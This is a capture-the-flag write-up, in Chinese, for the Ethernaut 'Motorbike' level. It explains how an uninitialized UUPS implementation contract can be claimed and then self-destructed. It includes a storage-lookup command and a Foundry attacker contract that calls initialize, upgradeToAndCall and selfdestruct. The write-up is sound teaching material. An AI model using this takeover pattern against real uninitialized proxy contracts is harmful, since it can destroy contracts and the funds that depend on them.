# Ethernaut CTF Level 25 - Motorbike
[toc]
## 題目
Ethernaut's motorbike has a brand new upgradeable engine design.
Would you be able to selfdestruct its engine and make the motorbike unusable ?
Things that might help:
* EIP-1967
* UUPS upgradeable pattern
* Initializable contract
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
```
<br>
## 分析
題目提供了兩個contract
- Proxy contract (基本上不做任何事,只透過`fallback`做forward到implementation contract): `Motorbike`
- Implementation contract (實際邏輯contract,但是使用proxy contract中的變數): `Engine`
要通關,必須`selfdestruct` Engine合約
<br>
### 通關思路
可以透過`Engine.upgradeToAndCall()`
- 設定`newImplementation`為attacker contract
- 在attacker contract實作`selfdestruct()`函數(例如 `trigger`)
- 透過`_upgradeToAndCall` 的delegate,呼叫 `attacker.trigger()`
```solidity=
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
```
<br>
### Engine合約在哪裡?
根據`Motorbike`合約中的函數可以推導出來
Engine合約地址存在slot `_IMPLEMENTATION_SLOT`
```solidity
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
```
透過cast 工具可以找出來
```shell
cast storage <Motorbike contract> 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc --rpc-url https://rpc.ankr.com/eth_sepolia
```

<br>
在Etherscan上也能證明的確是contract

<br>
### Engine Contract
在`initialize`函數中設定了 `horsePower`以及`ungrader`
在呼叫`upgradeToAndCall`會需要做`_authorizeUpgrade()` check,我們需要是upgrader才行
- 理當來說,只有Motorbike是upgrader
```solidity=
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
```
<br>
### DelegationCall context
我們來驗證一下,可以發現`Engine` contract中看起來是沒有成功setup的
- 原因是因為`Motorbike.constructor`中的`_logic.delegatecall`只會改變`Motorbike`的`initializer`
- 作為implementation contract的`Engine`其實沒有在自己context被initialized過
- **換言之,我們直接去呼叫Engine合約的`initialize`函數即可變成upgrader**

<br>
重新看一次`Motorbike`合約的slot排列,以及實際blockchain上的值如下圖
- 數值分別為關卡address以及 1000的hex
- 對應`Engine`的參數排列
再次驗證`Engine`更改的是Motorbike的slot排列
```solidity
address public upgrader;
uint256 public horsePower;
```

<br>
成為`upgrader`後即可呼叫`Engine.upgradeToAndCall`
以上是題目的intended solution
<br>
## 攻擊 (Before Dencun upgrade) by foundry
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "forge-std/Test.sol";
import "../src/levels/25-Motorbike/Motorbike.sol";
contract ContractTest is Test {
Motorbike level25 =
Motorbike(payable(0x6e7589340dd57B4c42CAcF212e64bd0ec48c1D9a));
Engine engine = Engine(0x50531FFeC89e977Ab6dC5D174D0d4a9EEd60480A);
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x6e7589340dd57B4c42CAcF212e64bd0ec48c1D9a),
"Ethernaut25"
);
}
function testEthernaut25() public {
AttackContract attacker = new AttackContract(engine);
attacker.trigger();
}
receive() external payable {}
}
// Works only in the foundry test
contract AttackContract {
Engine engine;
constructor(Engine _engine) public {
engine = _engine;
}
function trigger() public {
engine.initialize();
bytes memory data = abi.encodeWithSignature("kill()");
engine.upgradeToAndCall(address(this), data);
}
function kill() public {
console.log("Enter Kill");
selfdestruct(address(this));
}
receive() external payable {}
}
```
<br>
## 攻擊 (After Dencun upgrade)
由於Dencun升級後,intended solution中的`selfdestruct`受影響
可以參考大神寫的solution
- https://github.com/Ching367436/ethernaut-motorbike-solution-after-decun-upgrade/